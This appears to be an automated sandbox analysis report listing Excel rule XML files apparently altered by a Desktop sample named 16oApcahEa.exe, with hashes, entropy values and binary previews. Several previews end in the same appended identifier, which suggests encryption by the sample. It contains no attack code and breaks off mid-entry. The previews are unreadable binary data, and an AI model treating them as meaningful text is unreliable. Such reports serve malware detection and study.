Preview:	<?xml..K.P...A.....$.?_).C.G\F...6.4...Xo.1#.6L...)....`..\.f...;..\|..U...=.N....."DPrUA.[..?..Z..Hr.4...(<...#..0..p~....JV.{.q..cR.A..=...r...l.On&...Z....._..2.z....}.d.D.......0\|...]@.1s3.hf.h........P.@.wZ..6v..c......{.\......k.v.jdT.Ww.S.2{....=.P}.?.r...........D'>.V0...bp/.?3..?.r..........Y..W...'..dq....+V`..oOi....R$...8..........D.K....I\.}..>B^..i....rNX..%...p%..\|.G..,.....Ju#...G7.b...n...cv...Lqnd ...Ov.......].........B.j..s..Nt>2..BCd.}.9.S.[(;...@.../.\..8..h..n.".2...05..?..X~.b.......bS?o[H.%.o.6x....tj.}.RV7.ny+..$=F...8.cl.j9 .........7...]."M9.`...a"AE.^M.p1.ey.t...........N.Y.9.I...0..J..W..u.=....9JHhF=._b..X...W0.f...K..y..H.)3.e.B..6..Ugg.SP....m...Q ..;.e...n.#..Q..T.o...p..].W.U....<*...Q..^+`.v5..H..=.:{!h......~+ss._..,...H..#.Z...v.`....(......G..tW......fJ9..l}.B.j...`.y.W....G./6....7y...0d.j....%%_.hh.CLm./....3...>.$......G[.c..EUN7&h..e.i.k......8..<.b..a...uJ..8.w...i./.hz.....r.Z.KbE...t...m.;.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170086v2.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1171
Entropy (8bit):	7.79866434900523
Encrypted:	false
SSDEEP:	24:B3zptFOgSlqSCOC0ohrv/nlgWVaoYmDXCIV513Zm9pbD:hpTHSlnoF/nVao/DXCUzaJD
MD5:	F4C5A177FB610B00EAC017BE30F8F1F5
SHA1:	37C3832BD1ABB62C9BB6E36000884647B68D9364
SHA-256:	B2B1D76877AC67E22954B11CA44FE497D2EE018628B385C60286552D4F83C948
SHA-512:	95793C039999104ED8B5C9D3CBC561F5AF109EA1BC5F80AEBB19A8ECB1119ABE0CC0CD3E3B2439BD92A03E86FB9585F10D526E3C9E9FA4C1155784922852CA33
Malicious:	false
Preview:	<?xml.....3....e..B.\..0d.....`.."..n.q'j.....:...y......D^..n.:...D$...Y..%<..4...b.O]...(..~...nA..iW&K].V.... i^$.........^,M.........^..Fn.7...5.goY.8[.yk.8Mq....ex@{a..j...:..o-....5..x.[.c.K..K.r...r......f......1.B5._kV`.x..6. a..-XC.03.A....a!.e...aX...J........_...\|i......If.fg.Z.q&..1>O.V...4r..+...L.l......T{..4....{s.[....K.......{..Lj...".c.e....l.6.........X...t...E.......F..g@B{'.3z.j6.#O..<.5......I......g...Y.(u...=..a...%Q...{..4......(....6X...L.....e.......,.p(d..g.P.a.\".......RW.......T ...MLbD_~n.PV..h.E.k.u.q.1M..F....#.?/w..8s.=..l=.P.].....F. P...3.6p.4..8..?..W".......... b......b..L...LNOY......+k.. c......P..Sk..,!..<.{.a.s..F...g....5>.._!..g8.jN.tm...&..?TP.m.l.....{6"..jkV.].R.......X.=..y....g.B)`H.......#Y./.5{.,..rqpH.....#.._....W....a..l.Q.ao\|..8~%...6k.....AL..7.\...V..f.I.\0<`............^H]......#..5.Ad.>.....!..'\....x...!.Th[...f...5.E'!........e?..dq...0y<g...J....P.883l\|..P.$...$....m....`Op....=.#...G

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170087v2.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1176
Entropy (8bit):	7.81695456430574
Encrypted:	false
SSDEEP:	24:4/7u4B4l5XT4QToZh3oDZrUgTfMMBQAdXU0ENCF9pbD:4/S4ul5iZJirUgbMAQ8p/JD
MD5:	89596061376DD757BEA18E901CD89502
SHA1:	0BE68D04A00027FDCE10D1063D9353990ED7AC44
SHA-256:	AEF9249BB2B2D40009B99469EBF8CB30AE2BC11466ACB7A8273D5102AD2504CB
SHA-512:	0C6668906CABDB16EEC9FBCA864D630CA39EF66B8021DC1BF888EB08B3205564AF8A91E6503A72D87647E399049EDE26AFFCC5999E031B4862EA08B7AAF6DA88
Malicious:	false
Preview:	<?xml....:@..St.i.:..........l....I.bm.....Y,_N...x..J-..y..."69..Bl..V.&E..\|:.........#.TI..<...:.6..\|...aRKJ\|B...[..j..@\|.(....m.,.y.....{<..8..3....3@L...F].....@.....^I.c...o.f....wmU"o.Ur;.a..{.q...d.&D..1..s.v....faX.J...a.\|#>>.r.........I..8^..h_.....u.\|......Zx........J..34b.-/..........&3.%,kz...3.......+.m.("../.h.\.<:..T...-......i....f..v....%NS..d_.14..D.T,..........G........X..\.....7..-...\...G....6.D..T._........QM......x......&....m^.g\....1k%...2.}..b.e.[..C.s.......3.y?.1G....Q{.\[..NOD.}....V..$..^0T...u..Ym@b....5..%...dd.......5..wg..$..&.H../:C,.k.. #..(........Q..x....q..._-.....!..9..3....R....f......\..H..I&.......E.r.....C.J.Rn...5.=rm.vS.I...w....A.Nq.I.<......]....5..}........)`tG..Kr.....=v..........S.....H$bz7.........j7\|..#UL...6........iJ...2..W....$P..ASX....FO...8....J..d........a8.r.$..$z....5TO...:.!..d....~..q\|.wb(..~S.../...QZ.W.....P.e...e.H....&.UY*.8..aR@8...)0ml.&.-.y.V".Y.s?n.ph$..l.T

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170088v3.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1155
Entropy (8bit):	7.812374451645903
Encrypted:	false
SSDEEP:	24:Ck86djU4XUAYd8Dvq39ANeKRIe81ni9vDVjaOqT/JlOsl9pbD:Ck86ZhEAYuDvpNeKul+vDV6/dfJD
MD5:	A7125DE4308187C77232391A3E66D91D
SHA1:	ACD19C9A68DA47DF1F1158C88681282DE019504C
SHA-256:	9DDE78779DC5FFDA62FE3AEC194E6571917F165AD7EBCD697660721535DC3F14
SHA-512:	E17DACF1414B6F44DAF2113B4B8142A558EE5D71D6D2EBA720682829A810B6847B4E2E8005C08B26DE2415A78431893AE23EE52AF45F693D738C1273A5EB9779
Malicious:	false
Preview:	<?xml.....Z.......+M.."...Y..v....N I."."Hi]...2...G.K4=..s7..i...]..!.G........:..(.?`.V....i.....M3... t-....s..@hIe..M.`..c.}9r.....Z.O.... ..u....g'9U}qQB....l....f>......./Wa.....(..]..S\.....H....0....?..+#w.R..$.W_.w.q..C..F.[......=.S.(k0.a\h..@(.....stgj...O3.\A..F..s..a.JX....."v...h....`]..+...j....F...b...._.......M.....4(NZ.`.....D.m.q.q.Q.\...\|Wk..2.A(.'..-s..^^.^d..)..'.I.G=.c....p.L...~..P.~..e.Iv.D.Y.+.3x......~/.'.j.B..fo...n.....q..Qc...E.b......6....i;.3..?.^r.k.g)..SV..N..{.N.Z...._.21...{.]8_..B.k_.....7.......?......%.........1<..8...3..(DI..r.......O...O..M.&\).dX$Oo.....0..H.N..v.....{./9"p.N7.5C..G3.6....'O.c........2.k....)..}....a3..k..@..U..M.kh......HA.]...4FQ.....$..kF..x.=...M}4vpL....I.p.....OU.O.bF/;}Q../..r...0...Q....\|.t..{tj.MG......Ro..gFz.6&......AW...".'~5..?.l..d.....OeW...5..@+^3.......]9..m.=.N.I...'..-..w.i.t...6z%6..?^......A.K.K.&StL..[=90(..c:Z.*.j~M.&zU..\|.w.......).l...0..."..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170089v1.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	715
Entropy (8bit):	7.692113326190927
Encrypted:	false
SSDEEP:	12:3cAZgDP4QuMVdOKPskjkw+++ALMdfoFMwQbJZjc0sJj1ACLC9M2cii9a:MgQbzDskD+bffQ0i5k9pbD
MD5:	C25D7073C70256AF2E1458BBCA4E3971
SHA1:	3557E09905B7246A92065DB77CF4BC6AA0E64814
SHA-256:	FBB4F9980423331AD042F0426EFCD27C02EF0019C496DD4910FD2E6BCBA1C335
SHA-512:	E47150F47BBE12D4D18D3FE36B91870403D355626DCD583EB298C930938C7D6029A1208A46A04550A6A3D6B05CD4B9CDDA412E55AF08B8E1CCC8C13EECBD847D
Malicious:	false
Preview:	<?xml.5.-xd......p..;.Si.'..:.GvO.o..R\|..\|..$.U.\S..h..5N.F1 .....3.q...>......]..U.<j.,.. ...2q4.&...%.M...{.z... e^.e....W-.....j"=v......)b.O...n%..l.GY...5.ic..H.(5.k}..vcu.......M!1.....&.......;........nBD.}.N.=.R.....g...s.q.m.V1U..._'}..y...i.l.......qH.Y(.G..6.g....u>.Z{.T\|...i....'6?L..d.Q.M)5E.y..E5.\|.,......_...........@u9c..~%.%.b.Lk.N..L.~v.e8\|..M.....A....W%{.)..J#.w......we\.{...Y...VaY.....3z.v.<.......\6.B.e...~&..{p,.....A.g.'.>.bJ.W...`...F....J.6.B..Mv...:..(.. 4..;q.I.:..>...o .g.0.H.v..o_...n.7B2*..a..J...........y...V.p.C.e..L..7...5f.u....j..P.z.XM..kw.X.Q...!.....-.>xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170091v2.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1398
Entropy (8bit):	7.8472918518659815
Encrypted:	false
SSDEEP:	24:Y2G430Gv7iaa0CNHmUv5Jy5xIrenGvp2KUrZJ0XCFgWb9RUUO7ztfjDp9pbD:v77iL0CR5IyQKUrIXCFhXUUOvtfXTJD
MD5:	1D2221E9B38359B612C7401B12B0CF20
SHA1:	4FE1A4C8FEB120ED1287C2593616B9BE6F956076
SHA-256:	63E9C0F30AF7955554C0D038D3612FDBB50CBFAE63B3C8AC7A4CDB7660DD4C15
SHA-512:	73EF504A31C1F08C8E91A1766E58BCDC2401B63EC5B9ABA491B0C426A8D0F53CFD977BBAFF3EE5DCEF7920D378C888A298D16BE34816810DBBF887EB271D8AA9
Malicious:	false
Preview:	<?xml.M.6<qX.gq..8....hO..,.>...;.T1....\e.{......>...V...\|E.J...".a...`.......?%mc..B.e..R...o..I.}y.>..[.Eb'......OS.....8.>......m.]4v...5.v.u.......\|.....dk..%..W.4......3j`.....6..N.Z.A..#....n-.9F..^.R.`..C...OAz..!.{k..y.2..\."....l.m.^.F..K.UL..].....QdX.y.$y$.....i-8..-.i._.)..q;.J.....&.F..m....<.)..)9...t...J>..g......m..5aal..5....~....=.e...p.... ..~.4......g.....P.,...g.:...N..N.2.-..T.....8.....LBBH........W.j.yBo(.Z..FtzW7.x.@o0c6u@...........eH...Y....?oy.1@.!a..f..1YAO."[..\|F...o.@...8.R.2....<da...g..?q^r:....s...Kc}.Gd.W/S.../6...L..y)f.8.5.o.....%..io..2...f..._j..k.......NH_.iQ.Ta..1)...;@.6.*%..bF.......'m.`u..+..2..."B....z/_.7o.3....]9....gk.....PR...E{...!......e.....l#+.4.i.....A.............[[..u$.O....j. ..t...XF[qB..9...@.iS....c.4>..,.x.I...:...)r...d...Zi.?..c...A..E.9.-K...AUH2.=0.W...W9..g@.....;.gv.....D.^.gv>.B=.w.U(-.....".h.Cl....Gt.]E..^.......].m@MC.L.v.....`v.x..k.Tm....eJy.4xX..[..j........L.k....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170095v1.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1008
Entropy (8bit):	7.788627146437947
Encrypted:	false
SSDEEP:	24:3ESCRsHQwpDiEIuI2xhBYpi4YhK2HOlOKfEY9pbD:WRKFQ2xEpS42HO4KsuJD
MD5:	42F99D49FF29021D3CB8CF807B6CC9CC
SHA1:	660A0037F124A556A629511E7BAC950056E94A12
SHA-256:	6522F0CA6ED42A07ED930737E7169F9ED7EC2511E126E1E26D5645F86F9337A6
SHA-512:	13FB27258FF1804BA9465A5D7190A0E8A0EBF914660279EAA7A15E1D86DEF49FB121E27FBF78B95CD412A56B0B428E3073D0B5B2EF4EBE712CED72F8579028AC
Malicious:	false
Preview:	<?xmlx...'x7..(......L/....{A.b.Q.c.0q.....a.....@.d.\|.b>..3..@.............9..._...j]S)..Q.paq..9G...S;.j........k.......Y..... ...6s7W8$.,....a........<...Fp?..iX..\..T.....R..r.v.l........y..V:.Z.B...^r./.jC....xk.[.6.&..C..m{WP.[#.Zw.5[....O..}pW.A"w-.y)P.....$.w.g+...D.4xHx.>.X......~.....Gz...:.O._..e.{//...>..@4..O%.1G...!....]..<y..l.......7...%.s..b.9M..<..ZF....<n....).c.h..+fyr.`w.o.Q.....{.......0...G..Im`.oy...ja.".....9...;...c.,~.......gw..b....NhG+.."..qe)...X..h:....al..O\|..R#..0.e..d........Q...8S....$C....G.C[.g..-.y..%.6..*....Q..x...].jw].n_...r.e."e.v.I.ZK...G..(....z.u.D.b..;....o\|7.c....Om.e.L.O:f..E.C...si.Q...do.....4#......c<v2...._.'....d....z..\|.....Gq..[.....5....`,..<.;f&h.[..%...y/...U.B...0.X.os..\|A...5...p.n..{.0$........cd.^.P.K..%i...B...5.m..Zt..u.NEm:.........eJ.)..b..U...%.vi..GJ...;..}.}.....d...}......y.+.g\|..^..J.....I.T.:...xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170096v1.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	719
Entropy (8bit):	7.670047004699606
Encrypted:	false
SSDEEP:	12:0E3qML7EEzNC3oOzIMgjc0D/f4wqCUIarbbdrgInX5ZIWXKMFDEoSp9M2cii9a:b3qMnEEBCNz6b+CUHXnIavO9pbD
MD5:	323BEEA8B04987783181110B71E69F6B
SHA1:	C27BB27FC3586AA2009916787954CF27C4B76C48
SHA-256:	F5AC5B92805952C6B202934C1AA3D0C0F4AA431535EF2F3F1C7AFF092C8BF286
SHA-512:	5DB20444BD5DD1FCC070717696DAE3DA772814963F2A0439A3044988F359CA66E7A9632C34FC4ACDF1F6384DDD737E0FDBABF0224E977989059717A265460FA2
Malicious:	false
Preview:	<?xml.../o..q.5%.Q....,..".7......?..]......._.j..t'.6..........[......`......X\`...L.G.G.s..d}..."P.8..0R#.....@.%.....'=c..C2$...Ypf...........&+X!......}.....@....p..H...{.(.0.{H..[o.#"lQ.K."..."..s....{Pj...$h...D.<...}......Kl(.....q....L.5..PEh..s..N>x...c!65_..Cv\|%.l7..<.....a.0...!.l.....Y..........C....D`Bq..}J.c\..Ea..t..ev..\|..4.P..2.....k1...VW.q-..v..?K.;#}A;,.h.Mi.m.../.ho.Y...q,:..8..R={.N.T...:/..iZ...._..j"l..+....\|.S...\..eL.FSu.&....~.3......V$..`..!...K@......#hz...I.E@d.T.u...B..S..#S`R/.r./.9]...X..I...1.........V....C~{.p1.DP7}....oT\|...aX.t..T.'T..o_...).P......o}....*.6...L`...xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170097v1.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	793
Entropy (8bit):	7.730600978276757
Encrypted:	false
SSDEEP:	12:NH2cG/iKkIOmZ+wwcnNlCNwxjgaXD/kTxF/48JogssXoTz717FBW9M2cii9a:N0j+6xUGjUq8JRXoTz7ZO9pbD
MD5:	1ED84EF18842697339EAAA70C0E8736C
SHA1:	5AA225D721FB2CB0B3196C7F1E47DE18244DA878
SHA-256:	D6F7903805BA4C57855F88B03732481CF795CE889EBDA9283D9F6BB4969549E5
SHA-512:	712CB05BEEC5D516BFC340E0A5AD9EAC85C4D75E6D86DEE4DCC9390522A8F06D55C1DE128BCF8589AC7AC218B40BE785443D6080CCDC7F80316577C8550A1CCA
Malicious:	false
Preview:	<?xml.!..j8......=.K.W.i...)X2c..K..t.. .....K.#.J.k..($a...q.J...v.../........R.........[..g.Arj..Q=`..l\|.9$....Uq....O...(Yr.A.:..X..'/..?....].F...).......:.4..\.5..4'7U.\|t.<.7..".o.s._..e5.@..a.....S.x.^..l......[.T<.o.H..........f........U.j.....D...W.]..>....[`..U`..I... .,.."`4.H...O./......D9....._Q....3..=.+.2.H...8$..r..`uL."Y.5rA.;..x^../.f.5...\....a..@.%.u.F.Z~.R.'..`.....rMD...a.....Ki?....*R.x.C.uX.(.....H'.]~7R....=l....I.om..@}.<.x.U.'..Z..F..c.^L~Rs\|."9.N..hO.....m4T.C......x(........^Hk....:.0....$A .M.-....H..>;B.....J...a`....l..GAG........ W.>.T......z.#.If......m.8..=c\mVJ.s.r..!..W.zJYYf.D.ytm..n0..-..../.L.y>..&..`....C.P..Q..D.u.....!r2BxcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170098v2.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	761
Entropy (8bit):	7.699804124994399
Encrypted:	false
SSDEEP:	12:BxRfFZUdk7CloM7gepgb1GlHaULYvXl4ALxEQNCEJutkMDUAkLgjqGUEIQj9M2cq:hvUdKhMUemYpcvXeAV3J0kMDUACSbXz7
MD5:	934BA106217E7BB88E4C0B971FFA6DC9
SHA1:	1A902F5C0D0A47BD81D9A61AE7FB49B414A3B1D2
SHA-256:	67912415F55C481D7F3238FBAFD6C9C1BDD6EBB62BEBFB9236C869217B9C51D2
SHA-512:	636DA1C7727DBF48C3585CBCFBE020EC60339429F6BBD4D0C0C24F4210D82B9F8F2B3A9998D1B13E3773EAF2A0BA35F0A795B5227B1694BA9A130CE13D8592C9
Malicious:	false
Preview:	<?xmlZ....7`...?F.....I.V./5sT>....GB.9Q...mC...o..{4.S.g.^!....Nv......8....~..q...+.d..w.:.Ba..71...Yf&1.6#U........p.n...>...J.=.....Q9...`t.XC.......T.3...`...P.c..\.C..I..(..pX}..R.T..C...-qg.?.'..f.....,..J ..A..5......BU,U..0..?({.Q.^j...^@...<n...@.-....k..E#.g.GX.........T\|....:..7k.....Q...7.e......%5.2!..$..;wXo.vz...j..8.L..lK~A.F...{[.a.......%...3..-I.Gt.,...o.t.a....l..[...b:U.\|K.....`e..<;p..........<.>\....F+.f..v.s.[.....b..#CK........Dx...=...b........7.#....g:..z..8].--..8..?.....w?s?.)(.......4..m.:{..Z...F*.z-'.:q,.J......xs...F._H...0G5.t.I..m.@.....=v}..._.+4=..=X..iCK-...IBe/~..D... ..I^O.D..u...x..?'..w#..+.V..xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170099v2.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1306
Entropy (8bit):	7.843119861393558
Encrypted:	false
SSDEEP:	24:W6aZ9RYtEJegeBVSf+u7Zd05uDJ9VVWaYwjmUUBIfhk6hvFCgkbPjKC9pbD:WtRQbVG305QVJJK96kPg0PfJD
MD5:	795CD14509B7200EE1F827833902764B
SHA1:	B47439CE3818DCF7B25AC4343937D8F91EEE2E04
SHA-256:	5BA13451A2488F50D48B74C27E78203D6F04650AE9853A815C4C5DF54CD3726A
SHA-512:	221EA249151686356DA1C3456D24D7619D73CDD51D1FF8B3A276C166693ECB3280D861C185B2644A5C5585A0CBA1E29476E71D9811B0EFC444F22753EC06A6C6
Malicious:	false
Preview:	<?xmlY..ww .P..\|..CV...../{6A..#~ 8..%L.DZ....G..>9.j..<p ...h..E.................>.g5..=`.........-..w....5....(..Ef.xG.G.i..AXP...V..e1.\|`{....-.rj.T...Na..-.}?.U...z`7...S...o...r.S............%.y...o..A.E.!.."....X...E......w<.......6......"y%>F..]4o"W...=.....W..{].....f`..\l..+.:~....0k,.Y...pF...Z..;...a..,%4.D.QX...J..z..aR.s...O.{.D...by..-.kj`Ae...!S......&..<`.3#.+{T~.k.._..\QA-W.'...........E.3nt.>......%.-.cs....."^..\|.kJ..f..."W(O_\..`.:.....JU$....x...E.[D.%.J.N...$u.THw...i.3...I.y]..{...T..G...n.XU..oP6u....l.H.m4...E#/t...So.No.J..xBfq.}....4......[...Ix.K..2o.'.!"%..cr&.J...}iw..$k.S=...s.d..YUs.'.. ........K.....y...H-.>[...@..'.).....uV,.b..q......I..k.PV.P...RXWR.Ff.Vs...x.X...\>....D...9i.2..`4.N......-..\|....._.=*.W..~`.~....t.(.(.....b.....d.9..N...;....[.....9/'s......C..t.L...)..Q.z..WW.g...Nt.4fg{n....m~'...>.k.8..mO..t...Y..`..K..J<.. .c... ..n.Qe...g..`.!..W\| ..../%....J7i.i.I.,..Eo........6x1...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170103v1.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	4285
Entropy (8bit):	7.956277355421464
Encrypted:	false
SSDEEP:	96:LP4TKK6oRE5d2DKSEsJo/BELCvGfeiGrM6zGhYe:RKBEWVEshIGfeJrM6de
MD5:	A6D6EC4A26118C75FC68D00ADFA6C20E
SHA1:	AE11B25C23FCE1E503679C4E5D266E62E15AC0B8
SHA-256:	BCE92C901A9B9DE6A490863F45FD5F66A3DD3887912015EF64338D2C1056CE21
SHA-512:	37F24C251BAD3230ED5E80AEF7BDBA8728C2ECBC639B30ABAA4B16200414010D6DC139231CFD8DDA41A2BFF3CF44787C16028F7FA3B88695A847977AC66D7DA9
Malicious:	false
Preview:	<?xml..L.@.....9kI..l..GM.u.]<.:.7@.w..2....c. ./}.pL5..l.K.Bfk.....u.nY.<...#=..6.P....I...Z...4~i+f/G..6$vZi.C..W...x.{..........NsN..@U]S...&P-.4.v1.].N..2._."..+s.L,C}...2xvu^..+I...:..."..(..O.g..W.Nh..`.O.....~....L...t.'.}#..COD...l....r.s..c.f...&>!2.O...hk.qN.........raJ....9$....B}..f.%.x....i.\|.E....9.i<..W.@..H..j$...dG...GV...0..m...R)<;....a...`..... S..o.z...Q .....yJ.\|.IR.-........X..Q\....w...OD8.zo.@U..zD._9=A'.5.c.]...q....'./M..Z.4....o...v.I...../J.l.U:.A.u,....Xj=.e.....v..n.. \|.".......~...P.ZjG...._.............U`? .V.D1.5.K..B 9.g....E...9... z$.5....y....@1.m@..{..~)....0.2g.*....qo..Q!nc.....@z.o...}..P.yA..{<..p..Id.n..`..Y....q...k....4.........}.i}K~J..N.8..M... ].H]....A ...HN.@...U.u.1a.{.....l2..........a.V.;.....s...cx-...)`....1.../.....F=~.I.....5.@kt.z..T..:..^..FWz..#.l...qnp.L... ....x..A.....y.%.......L......xf..I.O..q./.....:.?f.w.=..@2M^.$yea5..!...;.....d....Q..3...J.n7.w.{..i`8..y..W.V..K.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170104v1.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	854
Entropy (8bit):	7.751724042614834
Encrypted:	false
SSDEEP:	24:6Y47Ad2ck0Bv+NHk8rSQAnoIuq+kOVrl3b8a9pbD:L2ckw+jQnoPq+zVB4cJD
MD5:	DEB129FA1962A5CCC7D2529CC4ED8783
SHA1:	672C7123F32DF8E4CCA16BA340D7F850717FA887
SHA-256:	DE6341C931C5BB3C8ADFB99BD525842BA997A9686BEC31E5D055C5339B5E2E95
SHA-512:	B804B424555C4B02AAFCEC385B801E8C96C3AC11030C9E46250990B585A94A4F4E6C4316F521F6372775DF9B6547324AB96FD53C04DCA7617C8929BC19684706
Malicious:	false
Preview:	<?xml.%1B..K.....e6..S..........Y.,-,.Y./..P...T.9.Y....=...X.....t0...]([C...........k.hjEf.5.$.!.>...."............\|@........vOxkX...S.u..h.c.)Q...+..\|..qra.P.`"R..".B".%..n.nr.=.... ...q...J.G....R.....t.....h.O....P.~.C..........&...mf.q.2..).s...5..i....;...Bi..W.....n...1W...<.....W.....d6.A....l.../.......<;`..]/.....'.....9..g"wD....<.5..9].........c~D?...?..d...>......i.....^.JU............]...e.>...$..W...C.........M..V/y+<...A. 6...\=.d..v.o.....&.TF.;Xn...~_.6......O...+.D.d...A.}...U.....D.:...U.D..J..."*..d.r........8U;_d.".....0..T..s..u.S%....WOz...'...#2.....ZH.%......S....b.F.B...!.:z........5..C... ...T7..w..%.}.$<.....J.\..<.{......H...N.Z....yS.1d....)..X...z.........l....7....1..1<...-..-....q...4.(..2.o..xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170105v3.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	929
Entropy (8bit):	7.783964220980028
Encrypted:	false
SSDEEP:	24:2JoRLSmaUONmE+jFe1s4fZe7XCAr8trAk9pbD:2JoROmaUONm8yy7A6JD
MD5:	F77C8977D826D368D1F2A23890763EBC
SHA1:	ADA5CB3762D7972659ACB46C6CB57FF205AEB87D
SHA-256:	55E15D3C1280A0181FC51CA14E7D4CA90495E3886F4414EEA87629104B0B680B
SHA-512:	0C93ADE6A51B5DC6BD39D739CE6C89E6CEF3E2595F61F92897BE283FBDA65FCB74F62CCEE9C9C844AC359C12C355E69EE5DF51596E7C0634F03485957F63FAC3
Malicious:	false
Preview:	<?xml.zY.c......1A......_H.x@..4.9....i......j.6.W....F&$....6r.xhv.}.`.:..,N..R...p...H......xU..v.J........r..x...9.9$.<W.% >.!.B...6.s.-....V..(....C-.....[.....'%..A[._...d...t%.......@.r.r..c.....<...!)...Y..r.0g..R.m..b.h%!....`...ixG..=.........'.f[.C.q7S......T.3.KVN..[iK5...Z\..y.~A....p.b&..........TuH(.Rk(...K.nj....R4iF......T.6.L..=y.4,/=.:5.c~pI.....I...&...2.J..t$p!.t.0.....\..,PF.fnf..\|..#.N.........q.NuO..'z.+..K^.P>}.S?.R{'...u.'.@........V;.=.....C4.....GUC.J=..\..../Y:.Q..\|.......iI...:.YGE....W..1.......):b...\|.+.........._/..O.WO.P...._-........w2.H6..D.>.........i.2$.>.@..R.V..W.9.sCB........6...J.x .31:.6......7(......<.L......,.$...j.....weX.b..P.q.....gl(..8.%..0..h..m.....j.......p.d[6...Af#..Y..l.s..o.....H...f....0..+....8]...;.+.Sw..x.o..#r...y=.u.Q.E.xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170106v2.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	722
Entropy (8bit):	7.704255577719209
Encrypted:	false
SSDEEP:	12:jIM6L7xMRzQAeZhreCSFRUSuLFHnMvnRUeIlhWv3O7ObbEU6smTtw9M2cii9a:jI5M1QAeZQCOVuZHMvnRolhUqS6HTtwX
MD5:	6634DA9C45022238AF1FA8095EE82CD3
SHA1:	AB2A2FC428C9CEB0AF5F1FB8561F8D0877628E98
SHA-256:	079CA93EF2CDFFC4110D65BCDD9D331F4790D19904CC16F8F8A9814FFC82C5E3
SHA-512:	EDDCBBBB355FED8C95BE4AE4D4B264130E0949431EDB10EBFF48CDDF23DDE2DBCC25ED701A9B9D7D7206F818D1FAA24D94830A1ABAE045FCF69504C2416A752F
Malicious:	false
Preview:	<?xml.....h..n2..m...v.6B.4.~..b=..[.....-!...?.[....r.=p..v...H.g.1R.Z+W........s^..!...e/.I......z1._.`.I.1......cr..g.Z......O........#.\|..Y....x.....Xi.9....}.wh...J..F.Q..\c.....y.R...^.3.d._.9_...51.r.gD.>...H.7....k....w.qoJ`02...V..aO....I....4...nY.rV.../N.ND..).....K.D.:1.X....'..a....b-...T6.bY.K..R......5.a...\.z#j,.:P..+.z.Q ....s.)sLO15. .....I[..U..U.0Gr:..\|.Qy."..Z(...h`..?..4...)(?...U...g...6.p."l......P.bA^..!.O.i........~....._.];`..i-..k.H..;.,(P..f.^..J"....2U..LM@...)...=..+c.;V.'...n.y..k%y/.We....X.Q....tC...,W+).G.]l.....x.9.W=.e.._.4-....=K!.....^..H...I......J..<k....iU.+......xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170107v1.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	935
Entropy (8bit):	7.7823545208362095
Encrypted:	false
SSDEEP:	12:ZsrruRUYx/iAzoHQzaFtR52hl5NMa+2wFvTPzQEc1vZzxNOFvw0Z9M2cii9a:yIzSR52hl5NMUqvfKZzZA9pbD
MD5:	9470B128F2E139D6C5C1462752961BFA
SHA1:	E749DFE41C2DDE62A6B27F0E1F5DD879EBAB512E
